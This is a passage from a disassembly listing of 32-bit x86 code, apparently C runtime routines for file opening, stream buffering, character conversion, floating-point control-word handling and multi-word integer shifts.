dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 27108ABh nop mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 263029Dh test eax, eax jnz short loc_423C11 push esi nop call near ptr 2670822h loc_423BFD: ; CODE XREF: sub_423A33+1B6j call near ptr 26908FFh nop push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26105E1h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx call near ptr 2620000h nop test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2620000h nop jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2830000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2830000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 26105E1h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 28210E3h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 nop call near ptr 2830000h test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 nop call near ptr 2830000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, 